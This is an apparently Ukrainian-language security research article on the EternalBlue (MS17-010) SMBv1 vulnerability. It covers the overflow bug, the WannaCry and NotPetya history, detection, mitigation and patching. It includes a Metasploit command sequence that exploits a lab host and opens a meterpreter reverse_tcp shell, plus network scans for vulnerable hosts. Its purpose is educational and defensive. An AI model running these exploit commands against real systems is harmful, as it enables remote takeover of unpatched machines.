Research / EternalBlue (MS17-010): від NSA-арсеналу до WannaCry і NotPetya
RESEARCH
UA EN

EternalBlue (MS17-010): від NSA-арсеналу до WannaCry і NotPetya

✍ admin 📅 30.06.2026 👁 100

MS17-010 — EternalBlue

CVSS: 8.1 (High) · Дата розкриття: 14 березня 2017 (патч), 14 квітня 2017 (експлойт оприлюднено Shadow Brokers) · Компонент: SMBv1 (Windows)

EternalBlue — експлойт, розроблений NSA, витік якого спричинив дві найбільші кібератаки в історії: WannaCry (травень 2017, $4 млрд збитків) та NotPetya (червень 2017, $10 млрд збитків, найдорожча кібератака в історії).


Технічна суть вразливості

Уразливість — у обробці SMBv1-запитів типу Transaction2, конкретно в функції Srv!SrvOs2FeaListSizeToNt, яка некоректно конвертує структури FEA (File Extended Attributes) з формату OS/2 у формат NT.

Корінь проблеми: integer overflow при розрахунку розміру буфера.

// Спрощено: вразлива логіка конвертації
USHORT totalSize = 0;
for (each FEA entry) {
    totalSize += entry.size;   // переповнення USHORT (65535 max)
}
// Виділяється буфер totalSize байт, але записується більше
// → heap-based buffer overflow в ядрі (ntoskrnl.exe / srv.sys)

Оскільки переповнення відбувається в kernel-mode (драйвер srv.sys / srv2.sys), успішна експлуатація дає SYSTEM-level RCE без аутентифікації — атакуючому достатньо мережевого доступу до порту 445.


Ланцюг експлуатації (спрощено)

1. Атакуючий надсилає спеціально сконструйований SMBv1 Trans2 запит
2. Heap overflow перезаписує сусідні структури ядра
3. Grooming техніка (точне розташування heap) дозволяє контролювати
   виконання коду в контексті ядра
4. Payload (DoublePulsar backdoor) інжектується в lsass.exe
5. Повний контроль над системою на рівні SYSTEM

Практична експлуатація (лабораторний стенд, Metasploit):

msfconsole

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.50
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

# Перевірка вразливості без експлуатації
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run

WannaCry — як це стало хробаком

WannaCry поєднав EternalBlue з self-propagation — після зараження однієї машини, малвар автоматично сканував мережу та інтернет на порт 445 і поширювався далі без жодної взаємодії користувача.

Зараження → сканування /24 підмережі + випадкові IP в інтернеті
          → EternalBlue експлойт на кожен знайдений SMBv1-хост
          → встановлення DoublePulsar backdoor
          → шифрування файлів (ransomware) + вимога викупу в Bitcoin
          → продовження сканування з нового хоста

За 24 години WannaCry заразив понад 200,000 систем у 150 країнах, включно з National Health Service (UK) — зупинено хірургічні операції, Renault, Deutsche Bahn, Telefónica.

NotPetya (через місяць) використав той самий EternalBlue, але без функції викупу — це був wiper, замаскований під ransomware, спрямований на українські компанії через скомпрометоване оновлення M.E.Doc.


Виявлення вразливих хостів

# Nmap NSE скрипт
nmap --script smb-vuln-ms17-010 -p445 192.168.1.0/24

# Перевірка чи увімкнено SMBv1 (Windows)
Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

# Список систем без MS17-010 патчу (PowerShell, потребує WSUS/SCCM)
Get-HotFix -Id KB4012212, KB4012213, KB4012214, KB4012215, KB4012216, KB4012217, KB4012218

Мітигація

# Вимкнути SMBv1 повністю (рекомендовано — протокол з 1980-х, немає причин лишати)
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

# Або через реєстр
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name SMB1 -Value 0 -Type DWORD

# Заблокувати порт 445 на периметрі (мінімум — не повинен бути доступний з інтернету)
Постійне рішення: встановити MS17-010 патч (KB4012212 та відповідники)
Microsoft випустила патч навіть для Windows XP та Server 2003 (end-of-life!) —
безпрецедентний крок через масштаб загрози

Висновки для pentester'а

  • Legacy protocols — найбільший ризик: SMBv1 не мав причин існувати в продакшені у 2017, але був увімкнений за замовчуванням
  • Patch management — критична функція безпеки, не бюрократія: патч вийшов за 2 місяці до масової експлуатації, але мільйони систем лишались непатченими
  • NSA exploit leak (Shadow Brokers) показав ризики "vulnerability hoarding" державними агенціями замість responsible disclosure
  • EternalBlue й досі трапляється в внутрішніх pentest-ах — legacy Windows-системи в корпоративних мережах живуть довше за очікування
Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?